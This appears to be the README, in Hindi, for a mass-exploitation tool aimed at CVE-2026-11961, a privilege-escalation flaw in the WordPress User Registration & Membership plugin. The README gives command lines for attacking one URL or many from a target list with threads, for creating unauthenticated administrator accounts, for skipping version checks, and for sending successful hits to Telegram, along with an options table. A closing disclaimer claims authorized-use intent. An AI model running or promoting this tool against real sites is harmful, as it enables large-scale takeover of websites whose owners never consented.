
CVE-2026-11961 — UserRegistration: WordPress User Registration <= 5.2.2 विशेषाधिकार वृद्धि। गलत कॉन्फ़िगर की गई सदस्यता भूमिकाएँ → बिना प्रमाणीकरण के एडमिन निर्माण → साइट से समझौता। CVSS 8.1
CVE-2026-11961 के लिए मास एक्सप्लॉइट टूल जो WordPress User Registration & Membership प्लगइन को प्रभावित करता है।
--force)# हेल्प दिखाएँ
python3 mass.py -h
# एकल लक्ष्य
python3 mass.py -u https://target.com
# कस्टम क्रेडेंशियल के साथ एकल लक्ष्य
python3 mass.py \
-u https://target.com \
--username admin \
--password "StrongPassword123!"
# एकाधिक लक्ष्य
python3 mass.py -l targets.txt -t 20
# सफल परिणाम सहेजें
python3 mass.py -l targets.txt -o results.jsonl
# लॉग फ़ाइल लिखें
python3 mass.py -l targets.txt --log exploit.log
# टेलीग्राम सूचनाएँ
python3 mass.py \
-l targets.txt \
--tg-token YOUR_BOT_TOKEN \
--tg-chat YOUR_CHAT_ID
# प्रॉक्सी
python3 mass.py \
-u https://target.com \
--proxy http://127.0.0.1:8080
# फ़ोर्स मोड
python3 mass.py -u https://target.com --force
यह प्रोजेक्ट केवल अधिकृत सुरक्षा मूल्यांकन, रक्षात्मक सुरक्षा अनुसंधान और भेद्यता सत्यापन के लिए प्रदान किया गया है।
इस सॉफ़्टवेयर का उपयोग करके, आप पुष्टि करते हैं कि आपके पास लक्ष्य प्रणालियों का मूल्यांकन करने के लिए स्पष्ट प्राधिकरण है। कंप्यूटर सिस्टम तक अनधिकृत पहुँच निषिद्ध है और लागू कानूनों का उल्लंघन हो सकता है।
लेखक और योगदानकर्ता इस प्रोजेक्ट के अनधिकृत उपयोग को प्रोत्साहित या समर्थन नहीं करते और इसके उपयोग से उत्पन्न किसी भी दुरुपयोग, क्षति या कानूनी परिणामों के लिए कोई ज़िम्मेदारी या दायित्व नहीं लेते हैं।
JohenLastGen JLG NETWORK
| Option | Description |
|---|
-h, --help | हेल्प संदेश दिखाएँ और बाहर निकलें |
-u, --url | एकल लक्ष्य URL |
-l, --list | लक्ष्य URL वाली फ़ाइल (प्रति पंक्ति एक) |
--username | व्यवस्थापक उपयोगकर्ता नाम (डिफ़ॉल्ट: रैंडम रूप से उत्पन्न) |
--password | व्यवस्थापक पासवर्ड (डिफ़ॉल्ट: रैंडम रूप से उत्पन्न) |
-t, --threads | समवर्ती थ्रेड्स की संख्या (डिफ़ॉल्ट: 5) |
--timeout | रिक्वेस्ट टाइमआउट सेकंड में (डिफ़ॉल्ट: 15) |
-o, --output | सफल परिणाम JSONL फ़ाइल में सहेजें |
--log | कंसोल लॉग्स को फ़ाइल में सहेजें |
--proxy | HTTP/HTTPS प्रॉक्सी (जैसे http://127.0.0.1:8080) |
--force | संस्करण सत्यापन छोड़ें और प्रोसेसिंग जारी रखें |
--tg-token | टेलीग्राम बॉट टोकन |
--tg-chat | टेलीग्राम चैट ID |